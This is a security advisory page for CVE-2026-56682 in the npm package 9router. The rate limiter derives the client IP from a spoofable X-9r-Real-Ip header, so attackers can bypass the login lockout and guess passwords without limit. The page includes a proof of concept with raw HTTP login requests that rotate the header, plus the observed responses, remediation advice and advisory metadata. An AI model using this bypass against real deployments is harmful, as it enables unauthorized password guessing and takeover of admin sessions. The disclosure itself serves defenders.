GHSA-32GC-64M7-HJ7V
Vulnerability from github – Published: 2026-09-22 16:34 – Updated: 2026-09-22 16:34Summary
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
src/lib/auth/loginLimiter.jsgetClientIp()— derives the rate-limit bucket key from the client-suppliedX-9r-Real-IpheadercheckLock()/recordFail()— per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)src/app/api/auth/login/route.js— login endpoint protected by the above limiter
Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
Attack Scenario
-
The instance is deployed in a mode that does not use
custom-server.js, and the login endpoint is reachable by the attacker (the default bind is0.0.0.0). -
The attacker submits password guesses to
POST /api/auth/login, setting a differentX-9r-Real-Ipvalue on each request (e.g.,10.0.0.1,10.0.0.2, ...). -
Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns
429. -
The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
Proof of Concept
Baseline — fixed header value (lockout enforced)
Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses (sequential):
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
Exploit — rotated header value (lockout bypassed)
Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses:
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.
Remediation
- Do not derive the rate-limit key from a client-controllable header. Base
getClientIp()on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If
custom-server.jsis required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-suppliedX-9r-*headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.4"
},
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56682"
],
"database_specific": {
"cwe_ids": [
"CWE-307",
"CWE-807"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T16:34:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Summary\n\n9router enforces a progressive login lockout (5 failed attempts \u2192 temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.\n\n# Affected Component\n\n- `src/lib/auth/loginLimiter.js`\n - `getClientIp()` \u2014 derives the rate-limit bucket key from the client-supplied `X-9r-Real-Ip` header\n - `checkLock()` / `recordFail()` \u2014 per-IP progressive lockout (`MAX_FAILS_BEFORE_LOCK = 5`)\n- `src/app/api/auth/login/route.js` \u2014 login endpoint protected by the above limiter\n\n# Root Cause\n\nThe brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. `getClientIp()` returns the value of `X-9r-Real-Ip` directly. The design assumes this header is produced and sanitized only by the trusted `custom-server.js` wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:\n\n```text\nUntrusted Client Input\n \u2193\nX-9r-Real-Ip: \u003cattacker-chosen, rotated each request\u003e\n \u2193\ngetClientIp() \u2192 distinct bucket per request\n \u2193\nrecordFail()/checkLock() \u2192 threshold (5) never reached\n \u2193\nunlimited 401 attempts, no 429 lockout\n```\n\n# Attack Scenario\n\n1. The instance is deployed in a mode that does not use `custom-server.js`, and the login endpoint is reachable by the attacker (the default bind is `0.0.0.0`).\n\n2. The attacker submits password guesses to `POST /api/auth/login`, setting a different `X-9r-Real-Ip` value on each request (e.g., `10.0.0.1`, `10.0.0.2`, ...).\n\n3. Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns `429`.\n\n4. The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.\n\n# Proof of Concept\n\n## Baseline \u2014 fixed header value (lockout enforced)\n\nRepeated `POST /api/auth/login` with a constant `X-9r-Real-Ip: 9.9.9.9` and body `{\"password\":\"wrong\"}`:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 9.9.9.9\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses (sequential):\n\n```text\n#1 \u2192 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\n#2 \u2192 401 {\"error\":\"Invalid password. 3 attempt(s) left before lockout.\",\"remainingBeforeLock\":3}\n\n#3 \u2192 401 {\"error\":\"Invalid password. 2 attempt(s) left before lockout.\",\"remainingBeforeLock\":2}\n\n#4 \u2192 401 {\"error\":\"Invalid password. 1 attempt(s) left before lockout.\",\"remainingBeforeLock\":1}\n\n#5 \u2192 429 Retry-After: 30\n {\"error\":\"Too many failed attempts. Try again in 30s. ...\",\"retryAfter\":30}\n```\n\n## Exploit \u2014 rotated header value (lockout bypassed)\n\nSame request and body, but a different `X-9r-Real-Ip` per request, sent while `9.9.9.9` was already locked:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: victim.example.com:20127\nX-9r-Real-Ip: 10.0.0.1\nContent-Type: application/json\nContent-Length: 20\nConnection: close\n\n{\"password\":\"wrong\"}\n```\n\nObserved responses:\n\n```text\nX-9r-Real-Ip: 10.0.0.1 \u2192 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.2 \u2192 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n\nX-9r-Real-Ip: 10.0.0.3 \u2192 401 {\"error\":\"Invalid password. 4 attempt(s) left before lockout.\",\"remainingBeforeLock\":4}\n```\n\u003cimg width=\"1211\" height=\"814\" alt=\"Screenshot 2026-06-19 183338\" src=\"https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64\" /\u003e\n\u003cimg width=\"1208\" height=\"816\" alt=\"Screenshot 2026-06-19 183408\" src=\"https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c\" /\u003e\n\nEvery rotated value resets to `\"4 attempt(s) left\"` and never returns `429`, demonstrating unbounded guessing.\n# Impact\n\nThe login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (`0.0.0.0`) and the existence of a default dashboard password, both of which lower the effort required to succeed.\n\n# Remediation\n\n- Do not derive the rate-limit key from a client-controllable header. Base `getClientIp()` on the transport-level peer address (`req.socket.remoteAddress`) for the limiter bucket.\n- Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.\n- If `custom-server.js` is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied `X-9r-*` headers at the edge before they reach the limiter.\n- Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.",
"id": "GHSA-32gc-64m7-hj7v",
"modified": "2026-09-22T16:34:18Z",
"published": "2026-09-22T16:34:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-32gc-64m7-hj7v"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.